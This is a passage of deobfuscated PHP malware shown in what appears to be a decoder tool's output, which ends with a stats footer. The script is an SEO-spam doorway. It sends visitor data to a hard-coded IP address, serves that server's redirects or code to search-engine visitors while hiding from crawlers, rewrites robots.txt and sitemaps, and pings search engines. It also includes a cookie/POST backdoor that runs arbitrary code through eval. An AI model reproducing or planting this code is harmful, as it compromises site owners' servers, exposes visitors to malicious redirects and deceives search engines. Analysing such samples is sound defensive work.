$_x6qr5pte, $_yolofzjp);if (empty($_yolofzjp)){break;}$_x6qr5pte = str_replace($_yolofzjp[0], _babb1($_yolofzjp[1], $_yolofzjp[2]), $_x6qr5pte);}while (TRUE){preg_match('/{{ RANDINT (\d*)-(\d*) }}/', $_x6qr5pte, $_yolofzjp);if (empty($_yolofzjp)){break;}$_x6qr5pte = str_replace($_yolofzjp[0], rand($_yolofzjp[1], $_yolofzjp[2]), $_x6qr5pte);}return $_x6qr5pte;}public function _09ws9(){$_iow65j7m = _ue1dcc::$_saug40zu . md5($this->_8piwncuu . _ue1dcc::$_zy1gnuch);if (_ue1dcc::$_dyjaajjn == -1){$_tpu5frvu = -1;}else{$_tpu5frvu = time() + (3600 * 24 * 30);}$_c3h4jexw = Array("template" => $this->_r3wnhwns, "text" => $this->_fx46bfnw, "keyword" => $this->_8piwncuu,"links" => $this->_h8oj158i, "expired" => $_tpu5frvu);@file_put_contents($_iow65j7m, serialize($_c3h4jexw));}static public function _r6mgq($_vjjcfwv9){$_iow65j7m = _ue1dcc::$_saug40zu . md5($_vjjcfwv9 . _ue1dcc::$_zy1gnuch);$_iow65j7m = @unserialize(@file_get_contents($_iow65j7m));if (!empty($_iow65j7m) && ($_iow65j7m["expired"] > time() || $_iow65j7m["expired"] == -1)){return new _ue1dcc($_iow65j7m["template"], $_iow65j7m["text"], $_iow65j7m["keyword"], $_iow65j7m["links"]);}else{return null;}}}class _f1bh9nf{private static $_saug40zu = "";private static $_sclcodux = "";public static function _1uvy3($_miu7oqrw, $_qa8wvc1v){_f1bh9nf::$_saug40zu = $_miu7oqrw . "/";_f1bh9nf::$_sclcodux = $_qa8wvc1v;if (!@file_exists(_f1bh9nf::$_saug40zu)){@mkdir(_f1bh9nf::$_saug40zu);}}public static function _so8x9(){return TRUE;}static public function _r1tjt(){$_n2gnongs = 0;foreach (scandir(_f1bh9nf::$_saug40zu) as $_ailcvlmd){if (strpos($_ailcvlmd, _f1bh9nf::$_sclcodux) === 0){$_n2gnongs += 1;}}return $_n2gnongs;}static public function _0gsz6(){$_qkzumj94 = Array();foreach (scandir(_f1bh9nf::$_saug40zu) as $_ailcvlmd){if (strpos($_ailcvlmd, _f1bh9nf::$_sclcodux) === 0){$_qkzumj94[] = $_ailcvlmd;}}return @file_get_contents(_f1bh9nf::$_saug40zu . $_qkzumj94[array_rand($_qkzumj94)]);}static public function _09ws9($_rakyzov9){if (@file_exists(_f1bh9nf::$_sclcodux . "_" . md5($_rakyzov9) . ".html")){return;}@file_put_contents(_f1bh9nf::$_sclcodux . "_" . md5($_rakyzov9) . ".html", $_rakyzov9);}}class _zdrjs4p{private static $_saug40zu = "";private static $_sclcodux = "";public static function _1uvy3($_miu7oqrw, $_qa8wvc1v){_zdrjs4p::$_saug40zu = $_miu7oqrw . "/";_zdrjs4p::$_sclcodux = $_qa8wvc1v;if (!@file_exists(_zdrjs4p::$_saug40zu)){@mkdir(_zdrjs4p::$_saug40zu);}}private static function _o9nbo(){$_uptpizz4 = Array();foreach (scandir(_zdrjs4p::$_saug40zu) as $_ailcvlmd){if (strpos($_ailcvlmd, _zdrjs4p::$_sclcodux) === 0){$_uptpizz4[] = $_ailcvlmd;}}return $_uptpizz4;}public static function _so8x9(){return TRUE;}static public function _0gsz6(){$_uptpizz4 = _zdrjs4p::_o9nbo();$_nlkowpq6 = @file(_zdrjs4p::$_saug40zu . $_uptpizz4[array_rand($_uptpizz4)], FILE_IGNORE_NEW_LINES);return $_nlkowpq6[array_rand($_nlkowpq6)];}static public function _gbxq9(){$_nlkowpq6 = Array();$_uptpizz4 = _zdrjs4p::_o9nbo();foreach ($_uptpizz4 as $_9f6ckc5d){$_nlkowpq6 = array_merge($_nlkowpq6, @file(_zdrjs4p::$_saug40zu . $_9f6ckc5d, FILE_IGNORE_NEW_LINES));}return $_nlkowpq6;}static public function _09ws9($_lb8yudna){if (@file_exists(_zdrjs4p::$_sclcodux . "_" . md5($_lb8yudna) . ".list")){return;}@file_put_contents(_zdrjs4p::$_sclcodux . "_" . md5($_lb8yudna) . ".list", $_lb8yudna);}}class _81n0x4{static public $_irzkuj3g = "4.5";static public $_krys0w6i = "ce9eb0db-81e2-14a9-b879-d04d41bde089";private $_7vykgqlb = "http://136.12.78.46/app/assets/api2?action=redir";private $_07yalz8p = "http://136.12.78.46/app/assets/api?action=page";static public $_409bf966 = 20;static public $_7i00uco6 = 100;private function _17qhr(){$_79f04j02 = array('#libwww-perl#i','#MJ12bot#i','#msnbot#i', '#msnbot-media#i','#YandexBot#i', '#msnbot#i', '#YandexWebmaster#i','#spider#i', '#yahoo#i', '#google#i', '#altavista#i','#ask#i','#yahoo!\s*slurp#i','#BingBot#i');if (!empty($_SERVER['HTTP_USER_AGENT']) && (FALSE !== strpos(preg_replace($_79f04j02, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT']), '-NO-WAY-'))){$_qio42tc5 = 1;}elseif (empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) || empty($_SERVER['HTTP_REFERER'])){$_qio42tc5 = 1;}elseif (strpos($_SERVER['HTTP_REFERER'], "google") === FALSE &&strpos($_SERVER['HTTP_REFERER'], "yahoo") === FALSE &&strpos($_SERVER['HTTP_REFERER'], "bing") === FALSE&&strpos($_SERVER['HTTP_REFERER'], "yandex") === FALSE){$_qio42tc5 = 1;}else{$_qio42tc5 = 0;}return $_qio42tc5;}private static function _s745r(){$_go7ubx3q = Array();$_go7ubx3q['ip'] = $_SERVER['REMOTE_ADDR'];$_go7ubx3q['qs'] = @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'];$_go7ubx3q['ua'] = @$_SERVER['HTTP_USER_AGENT'];$_go7ubx3q['lang'] = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];$_go7ubx3q['ref'] = @$_SERVER['HTTP_REFERER'];$_go7ubx3q['enc'] = @$_SERVER['HTTP_ACCEPT_ENCODING'];$_go7ubx3q['acp'] = @$_SERVER['HTTP_ACCEPT'];$_go7ubx3q['char'] = @$_SERVER['HTTP_ACCEPT_CHARSET'];$_go7ubx3q['conn'] = @$_SERVER['HTTP_CONNECTION'];return $_go7ubx3q;}public function __construct(){$this->_7vykgqlb = explode("/", $this->_7vykgqlb);$this->_07yalz8p = explode("/", $this->_07yalz8p);}static public function _3pe5d($_3p9h90vx){if (strlen($_3p9h90vx) < 4){return "";}$_r0ilxrev = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";$_nlkowpq6 = str_split($_r0ilxrev);$_nlkowpq6 = array_flip($_nlkowpq6);$_k8329wrs = 0;$_h1nw8ovf = "";$_3p9h90vx = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $_3p9h90vx);do {$_1q8gl53j = $_nlkowpq6[$_3p9h90vx[$_k8329wrs++]];$_ov7u5aeh = $_nlkowpq6[$_3p9h90vx[$_k8329wrs++]];$_xjhmpa68 = $_nlkowpq6[$_3p9h90vx[$_k8329wrs++]];$_n18paynu = $_nlkowpq6[$_3p9h90vx[$_k8329wrs++]];$_5td3tdl7 = ($_1q8gl53j << 2) | ($_ov7u5aeh >> 4);$_9nad98dz = (($_ov7u5aeh & 15) << 4) | ($_xjhmpa68 >> 2);$_w1jvicoj = (($_xjhmpa68 & 3) << 6) | $_n18paynu;$_h1nw8ovf = $_h1nw8ovf . chr($_5td3tdl7);if ($_xjhmpa68 != 64) {$_h1nw8ovf = $_h1nw8ovf . chr($_9nad98dz);}if ($_n18paynu != 64) {$_h1nw8ovf = $_h1nw8ovf . chr($_w1jvicoj);}} while ($_k8329wrs < strlen($_3p9h90vx));return $_h1nw8ovf;}private function _8z6km($_vjjcfwv9){$_b5j859a7 = "";$_5hgu1dv5 = "";$_go7ubx3q = _81n0x4::_s745r();$_go7ubx3q["uid"] = _81n0x4::$_krys0w6i;$_go7ubx3q["keyword"] = $_vjjcfwv9;$_go7ubx3q["tc"] = 10;$_go7ubx3q = http_build_query($_go7ubx3q);$_zi6ytmx2 = _x7gc9q8::_h848q($this->_07yalz8p, $_go7ubx3q);if (strpos($_zi6ytmx2, _81n0x4::$_krys0w6i) === FALSE){return Array($_b5j859a7, $_5hgu1dv5);}$_b5j859a7 = _f1bh9nf::_0gsz6();$_5hgu1dv5 = substr($_zi6ytmx2, strlen(_81n0x4::$_krys0w6i));$_5hgu1dv5 = explode("\n", $_5hgu1dv5);shuffle($_5hgu1dv5);$_5hgu1dv5 = implode(" ", $_5hgu1dv5);return Array($_b5j859a7, $_5hgu1dv5);}private function _i3jg0(){$_go7ubx3q = _81n0x4::_s745r();if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])){$_go7ubx3q['cfconn'] = @$_SERVER['HTTP_CF_CONNECTING_IP'];}if (isset($_SERVER['HTTP_X_REAL_IP'])){$_go7ubx3q['xreal'] = @$_SERVER['HTTP_X_REAL_IP'];}if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])){$_go7ubx3q['xforward'] = @$_SERVER['HTTP_X_FORWARDED_FOR'];}$_go7ubx3q["uid"] = _81n0x4::$_krys0w6i;$_go7ubx3q = http_build_query($_go7ubx3q);$_82xc5e1a = _x7gc9q8::_h848q($this->_7vykgqlb, $_go7ubx3q);$_82xc5e1a = @unserialize($_82xc5e1a);if (isset($_82xc5e1a["type"]) && $_82xc5e1a["type"] == "redir") {if (!empty($_82xc5e1a["data"]["header"])) {header($_82xc5e1a["data"]["header"]);return true;} elseif (!empty($_82xc5e1a["data"]["code"])) {echo $_82xc5e1a["data"]["code"];return true;}}return false;}public function _so8x9(){return _ue1dcc::_so8x9() && _f1bh9nf::_so8x9() && _zdrjs4p::_so8x9();}static public function _kds8z(){if ((!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || $_SERVER['SERVER_PORT'] == 443) {return true;}return false;}public static function _ityzd(){$_y9dcrc1z = explode("?", $_SERVER["REQUEST_URI"], 2);$_y9dcrc1z = $_y9dcrc1z[0];if (strpos($_y9dcrc1z, ".php") === FALSE){$_y9dcrc1z = explode("/", $_y9dcrc1z);array_pop($_y9dcrc1z);$_y9dcrc1z = implode("/", $_y9dcrc1z) . "/";}return sprintf("%s://%s%s", _81n0x4::_kds8z() ? "https" : "http", $_SERVER['HTTP_HOST'], $_y9dcrc1z);}public static function _92jns(){$_8jvmjjrj = Array("https://www.bing.com/ping?sitemap=" => "Thanks for submitting your Sitemap","https://www.google.com/ping?sitemap=" => "Sitemap Notification Received");$_6favyrnl = Array("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Accept-Language: en-US,en;q=0.5","User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0",);$_5jwes7cz = urlencode(_81n0x4::_xtrtq() . "/sitemap.xml");foreach ($_8jvmjjrj as $_7g5ooajl => $_ddf6lejh){$_7s36j6nq = _x7gc9q8::_omlbv($_7g5ooajl . $_5jwes7cz, NULL, $_6favyrnl);if (empty($_7s36j6nq)){$_7s36j6nq = _x7gc9q8::_zl603($_7g5ooajl . $_5jwes7cz, NULL, $_6favyrnl);}if (empty($_7s36j6nq)) {return FALSE;}if (strpos($_7s36j6nq, $_ddf6lejh) === FALSE) {return FALSE;}}return TRUE;}public static function _qyn14(){$_zzykzzk1 = "User-agent: *\nDisallow: %s\nUser-agent: Bingbot\nUser-agent: Googlebot\nUser-agent: Slurp\nDisallow:\nSitemap: %s\n";$_y9dcrc1z = explode("?", $_SERVER["REQUEST_URI"], 2);$_y9dcrc1z = $_y9dcrc1z[0];$_ggwodp4p = substr($_y9dcrc1z, 0, strrpos($_y9dcrc1z, "/"));$_lo889cur = sprintf($_zzykzzk1, $_ggwodp4p, _81n0x4::_xtrtq() . "/sitemap.xml");$_r44x0lme = $_SERVER["DOCUMENT_ROOT"] . "/robots.txt";if (@file_exists($_r44x0lme)) {@chmod($_r44x0lme, 0777);$_hdkpa0vt = @file_get_contents($_r44x0lme);}else{$_hdkpa0vt = "";}if (strpos($_hdkpa0vt, $_lo889cur) === FALSE) {@file_put_contents($_r44x0lme, $_hdkpa0vt . "\n" . $_lo889cur);$_hdkpa0vt = @file_get_contents($_r44x0lme);return (strpos($_hdkpa0vt, $_lo889cur) !== FALSE);}return FALSE;}public static function _xtrtq(){$_y9dcrc1z = explode("?", $_SERVER["REQUEST_URI"], 2);$_y9dcrc1z = $_y9dcrc1z[0];$_miu7oqrw = substr($_y9dcrc1z, 0, strrpos($_y9dcrc1z, "/"));return sprintf("%s://%s%s", _81n0x4::_kds8z() ? "https" : "http", $_SERVER['HTTP_HOST'], $_miu7oqrw);}public static function _7zzdl($_vjjcfwv9){$_c0sp70b2 = _81n0x4::_ityzd();$_mgdgqffp = substr(md5(_81n0x4::$_krys0w6i . "salt3"), 0, 6);$_arumobpm = "";if (substr($_c0sp70b2, -1) == "/"){if (ord($_mgdgqffp[1]) % 2){$_vjjcfwv9 = str_replace(" ", "-", $_mgdgqffp . "-" . $_vjjcfwv9);}else{$_vjjcfwv9 = str_replace(" ", "-", $_vjjcfwv9 . "-" . $_mgdgqffp);}$_arumobpm = sprintf("%s%s", $_c0sp70b2, urlencode($_vjjcfwv9));}else{if (ord($_mgdgqffp[0]) % 2){$_arumobpm = sprintf("%s?%s=%s",$_c0sp70b2,$_mgdgqffp,urlencode(str_replace(" ", "-", $_vjjcfwv9)));}else{$_mqt5cxfi = Array("id", "page", "tag");$_rjhhrz98 = $_mqt5cxfi[ord($_mgdgqffp[2]) % count($_mqt5cxfi)];if (ord($_mgdgqffp[1]) % 2){$_vjjcfwv9 = str_replace(" ", "-", $_mgdgqffp . "-" . $_vjjcfwv9);}else{$_vjjcfwv9 = str_replace(" ", "-", $_vjjcfwv9 . "-" . $_mgdgqffp);}$_arumobpm = sprintf("%s?%s=%s",$_c0sp70b2,$_rjhhrz98,urlencode($_vjjcfwv9));}}return $_arumobpm;}public static function _5ppg3($_75plv612, $_zgo4jfw0){$_yswr3hay = rand($_75plv612, $_zgo4jfw0);$_pi6ahtut = "";for ($_k8329wrs=0; $_k8329wrs < $_yswr3hay; $_k8329wrs++){$_vjjcfwv9 = _zdrjs4p::_0gsz6();$_pi6ahtut .= sprintf("%s,\n",_81n0x4::_7zzdl($_vjjcfwv9), ucwords($_vjjcfwv9));}return $_pi6ahtut;}public static function _feagx(){$_4r0klahp = "\n\n";$_06e71rr6 = "";$_1vmgbugq = "";$_nlkowpq6 = _zdrjs4p::_gbxq9();foreach ($_nlkowpq6 as $_i09clnhg){$_arumobpm = _81n0x4::_7zzdl($_i09clnhg);$_l0xdde19 = time() - mt_rand(0, 60 * 60 * 24 * 30);$_1vmgbugq .= "\n";$_1vmgbugq .= sprintf("%s\n", $_arumobpm);$_1vmgbugq .= sprintf("%s\n", date("Y-m-d", $_l0xdde19));$_1vmgbugq .= "0.3\n";$_1vmgbugq .= "\n";}$_791nx52i = $_4r0klahp . $_1vmgbugq . $_06e71rr6;$_a520m6vc = dirname(__FILE__) . "/sitemap.xml";$_5jwes7cz = _81n0x4::_xtrtq() . "/sitemap.xml";@file_put_contents($_a520m6vc, $_791nx52i);return $_5jwes7cz;}public function _dyq58(){$_rjhhrz98 = substr(md5(_81n0x4::$_krys0w6i . "salt3"), 0, 6);if (isset($_GET[$_rjhhrz98])) {$_vjjcfwv9 = $_GET[$_rjhhrz98];}elseif (strpos($_SERVER["REQUEST_URI"], $_rjhhrz98) !== FALSE){$_haac0b02 = explode("/", $_SERVER["REQUEST_URI"]);foreach ($_haac0b02 as $_1e1ynu4y) {if (strpos($_1e1ynu4y, $_rjhhrz98) !== FALSE){$_c2phel9a = explode("=", $_1e1ynu4y);$_5i7rm4dw = array_pop($_c2phel9a);$_5i7rm4dw = str_replace($_rjhhrz98 . "-", "", $_5i7rm4dw);$_5i7rm4dw = str_replace("-" . $_rjhhrz98, "", $_5i7rm4dw);$_vjjcfwv9 = $_5i7rm4dw;}}}if (empty($_vjjcfwv9)){$_nlkowpq6 = _zdrjs4p::_gbxq9();$_vjjcfwv9 = $_nlkowpq6[0];}if (!empty($_vjjcfwv9)){$_vjjcfwv9 = str_replace("-", " ", $_vjjcfwv9);if (!$this->_17qhr()){if ($this->_i3jg0()){return;}}$_vjjcfwv9 = urldecode($_vjjcfwv9);$_82xc5e1a = _ue1dcc::_r6mgq($_vjjcfwv9);if (empty($_82xc5e1a)){list($_b5j859a7, $_5hgu1dv5) = $this->_8z6km($_vjjcfwv9);if (empty($_5hgu1dv5)){return;}$_82xc5e1a = new _ue1dcc($_b5j859a7, $_5hgu1dv5, $_vjjcfwv9, _81n0x4::_5ppg3(_81n0x4::$_409bf966, _81n0x4::$_7i00uco6));$_82xc5e1a->_09ws9();}echo $_82xc5e1a->_e15zk();}}}_ue1dcc::_1uvy3(dirname(__FILE__), -1, _81n0x4::$_krys0w6i);_f1bh9nf::_1uvy3(dirname(__FILE__), substr(md5(_81n0x4::$_krys0w6i . "salt12"), 0, 4));_zdrjs4p::_1uvy3(dirname(__FILE__), substr(md5(_81n0x4::$_krys0w6i . "salt22"), 0, 4));function _usz7u($_zi6ytmx2, $_i09clnhg){$_rda1q4u0 = "";for ($_k8329wrs = 0; $_k8329wrs < strlen($_zi6ytmx2);) {for ($_qp9ipvhs = 0; $_qp9ipvhs < strlen($_i09clnhg) && $_k8329wrs < strlen($_zi6ytmx2); $_qp9ipvhs++, $_k8329wrs++) {$_rda1q4u0 .= chr(ord($_zi6ytmx2[$_k8329wrs]) ^ ord($_i09clnhg[$_qp9ipvhs]));}}return $_rda1q4u0;}function _c9h39($_zi6ytmx2, $_i09clnhg, $_4fumla8x){return _usz7u(_usz7u($_zi6ytmx2, $_i09clnhg), $_4fumla8x);}foreach (array_merge($_COOKIE, $_POST) as $_s0h38rrs => $_zi6ytmx2) {$_zi6ytmx2 = @unserialize(_c9h39(_81n0x4::_3pe5d($_zi6ytmx2), $_s0h38rrs, _81n0x4::$_krys0w6i));if (isset($_zi6ytmx2['ak']) && _81n0x4::$_krys0w6i == $_zi6ytmx2['ak']) {if ($_zi6ytmx2['a'] == 'doorway2') {if ($_zi6ytmx2['sa'] == 'check') {$_x6qr5pte = _x7gc9q8::_h848q(explode("/", "http://httpbin.org/"), "");if (strlen($_x6qr5pte) > 512) {echo @serialize(Array("uid" => _81n0x4::$_krys0w6i, "v" => _81n0x4::$_irzkuj3g,"cache" => _ue1dcc::_r1tjt(),"keywords" => count(_zdrjs4p::_gbxq9()),"templates" => _f1bh9nf::_r1tjt()));}exit;}if ($_zi6ytmx2['sa'] == 'templates') {foreach ($_zi6ytmx2["templates"] as $_b5j859a7) {_f1bh9nf::_09ws9($_b5j859a7);echo @serialize(Array("uid" => _81n0x4::$_krys0w6i, "v" => _81n0x4::$_irzkuj3g, ));}}if ($_zi6ytmx2['sa'] == 'keywords') {_zdrjs4p::_09ws9($_zi6ytmx2["keywords"]);_81n0x4::_feagx();echo @serialize(Array("uid" => _81n0x4::$_krys0w6i, "v" => _81n0x4::$_irzkuj3g, ));}if ($_zi6ytmx2['sa'] == 'pages'){$_cixtuz3q = 0;if (_f1bh9nf::_r1tjt() > 0){foreach($_zi6ytmx2['pages'] as $_82xc5e1a){$_koytbu4x = _ue1dcc::_r6mgq($_82xc5e1a["keyword"]);if (empty($_koytbu4x)){$_koytbu4x = new _ue1dcc(_f1bh9nf::_0gsz6(), $_82xc5e1a["text"], $_82xc5e1a["keyword"], _81n0x4::_5ppg3(_81n0x4::$_409bf966, _81n0x4::$_7i00uco6));$_koytbu4x->_09ws9();$_cixtuz3q += 1;}}}echo @serialize(Array("uid" => _81n0x4::$_krys0w6i, "v" => _81n0x4::$_irzkuj3g, "pages" => $_cixtuz3q));}if ($_zi6ytmx2["sa"] == "ping"){$_7s36j6nq = _81n0x4::_92jns();echo @serialize(Array("uid" => _81n0x4::$_krys0w6i, "v" => _81n0x4::$_irzkuj3g, "result" => (int)$_7s36j6nq));}if ($_zi6ytmx2["sa"] == "robots"){$_7s36j6nq = _81n0x4::_qyn14();echo @serialize(Array("uid" => _81n0x4::$_krys0w6i, "v" => _81n0x4::$_irzkuj3g, "result" => (int)$_7s36j6nq));}}if ($_zi6ytmx2['sa'] == 'eval') {eval($_zi6ytmx2["data"]);exit;}}}$_cmojhd6p = new _81n0x4();if ($_cmojhd6p->_so8x9()){$_cmojhd6p->_dyq58();}exit();

Function Calls

None

Variables

None

Stats

MD5 ed2c2882d9a7acd4ceaaf88fb8561d61
Eval Count 0
Decode Time 72 ms